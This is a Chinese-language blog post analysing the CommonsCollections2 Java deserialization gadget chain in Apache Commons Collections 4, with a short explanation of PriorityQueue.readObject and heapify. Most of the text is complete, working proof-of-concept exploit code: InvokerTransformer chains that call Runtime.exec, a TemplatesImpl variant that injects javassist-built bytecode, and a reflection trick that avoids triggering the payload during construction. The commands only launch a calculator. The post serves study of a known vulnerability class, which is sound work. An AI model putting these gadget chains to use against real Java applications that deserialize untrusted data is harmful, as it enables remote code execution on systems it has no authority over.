CommonsCollections2反序列化分析

0x01 POC

RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

public class CommonsCollections2 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class,
Class[].class }, new Object[] { "getRuntime",
new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class,
Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "open -a /System/Applications/Calculator.app" }),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);

Comparator comparator = new TransformingComparator(transformerChain);

PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);

setFieldValue(transformerChain, "iTransformers", transformers);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class run {
public static void main(String[] args) {
try {
String AbstractTranslet = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool = ClassPool.getDefault();
classPool.appendClassPath(AbstractTranslet);
CtClass payload = classPool.makeClass("CommonsCollections22");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置该类的静态代码块

//转换为byte数组
byte[] bytes = payload.toBytecode();
Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field = templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);
field.set(templatesImpl, new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

Field field1 = templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);
field1.set(templatesImpl, "test");//将templatesImpl上的_name字段设置为test

InvokerTransformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

//利用ChainedTransformer执行命令 没有版本限制
/* String cmd = "calc.exe";
Transformer[] transformers = new Transformer[]{
(Transformer) new ConstantTransformer(Runtime.class),
(Transformer) new org.apache.commons.collections4.functors.InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}
),
(Transformer) new org.apache.commons.collections4.functors.InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}
),
(Transformer) new org.apache.commons.collections4.functors.InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
};

//通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
Transformer transformedChain = new ChainedTransformer(new Transformer[]{});
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformedChain,transformers);
*/

TransformingComparator comparator = new TransformingComparator(transformer); //使用TransformingComparator修饰器传入transformer对象
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(2);
queue.add(1);

Field field2 = queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);
field2.set(queue, comparator);//设置queue的comparator字段值为comparator

Field field3 = queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue, new Object[]{templatesImpl, templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(baos);
out.writeObject(queue);
out.flush();
byte[] bytes2 = baos.toByteArray();
ByteArrayInputStream bais = new ByteArrayInputStream(bytes2);
ObjectInputStream in = new ObjectInputStream(bais);
in.readObject();

}catch (Exception e){
e.printStackTrace();
}
}
}

0x02 原理

PriorityQueue的readObject重写函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

在heapify函数中

若此处的比较器为TransformingComparator 类型,即可进行反射。

0x03 编写POC

根据PriorityQueueTransformingComparator的构造函数定义,我们可以将PriorityQueueComparator定义为TransformingComparator

那么编写思路:

  • 构造ChainedTransformer恶意类
  • ChainedTransformer恶意类作为输入调用TransformingComparator构造函数,构造恶意Comparator
  • 创建带有该恶意比较器Comparator的优先队列PriorityQueue
  • 添加两个元素
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CCTest {
public static ChainedTransformer getChainedTransformer(){
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{ null, new Object[0] }
),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open -a Calculator"}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
return chainedTransformer;
}

public static void main(String[] args) throws ClassNotFoundException, IOException {
ChainedTransformer chainedTransformer = getChainedTransformer();

TransformingComparator comparator = new TransformingComparator(chainedTransformer);

PriorityQueue queue = new PriorityQueue(2,comparator);
queue.add(1);
queue.add(2);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

System.out.println(barr.size());

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}

这样写,发现在队列中添加第二个元素时,Comparator比较器工作会报错,具体报错如下

1
2
3
4
5
6
7
8
Exception in thread "main" java.lang.ClassCastException: java.lang.UNIXProcess cannot be cast to java.lang.Comparable
at org.apache.commons.collections4.comparators.ComparableComparator.compare(ComparableComparator.java:42)
at org.apache.commons.collections4.comparators.TransformingComparator.compare(TransformingComparator.java:83)
at java.util.PriorityQueue.siftUpUsingComparator(PriorityQueue.java:670)
at java.util.PriorityQueue.siftUp(PriorityQueue.java:646)
at java.util.PriorityQueue.offer(PriorityQueue.java:345)
at java.util.PriorityQueue.add(PriorityQueue.java:322)
at CCTest.main(CCTest.java:40)

新的编写思路:

  • 构造Transformer[]恶意Transformer列表
  • 构造一个正常的ChainedTransformer作为输入调用TransformingComparator构造函数,构造可用的Comparator
  • 创建带有该比较器Comparator的优先队列PriorityQueue
  • 添加两个元素
  • 修改ChainedTransformer中的iTransformers为恶意Transformer列表

那么如何构造一个正常的TransformingComparator

具体TransformingComparator中执行compare逻辑的函数,由于TransformingComparator 中的Transformer 必须是ChainedTransformer 类型,所以此处的transform函数逻辑如下:

只要能返回相同的Object,就可以正常执行compare函数,下面给出一些例子

1
2
3
4
5
6
7
8
9
10
11
12
13
// example 1
ChainedTransformer fakChainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(1)
});

// example 2
ChainedTransformer fakChainedTransformer = new ChainedTransformer(new Transformer[]{
new InvokerTransformer(
"hashCode",
new Class[]{},
new Object[]{}
)
});

那么就可以构造出正确的PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CCTest {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static Transformer[] getTransformers(){
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{ null, new Object[0] }
),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open -a Calculator"}
)
};
return transformers;
}

public static void main(String[] args) throws Exception {
ChainedTransformer fakChainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer("1")});
Transformer[] transformers = getTransformers();
TransformingComparator comparator = new TransformingComparator(fakChainedTransformer);

PriorityQueue queue = new PriorityQueue(2,comparator);
queue.add(1);
queue.add(2);

setFieldValue(fakChainedTransformer,"iTransformers",transformers);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();

System.out.println(barr.size());

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}

0x04 参考

http://wjlshare.com/archives/1509

https://myzxcg.com/2021/10/Ysoserial-利用链分析/#commons-collections2


CommonsCollections2反序列化分析
http://blog.lousix.top/2023/03/01/CommonsCollections2/
作者
Lousix
发布于
2023年3月1日
许可协议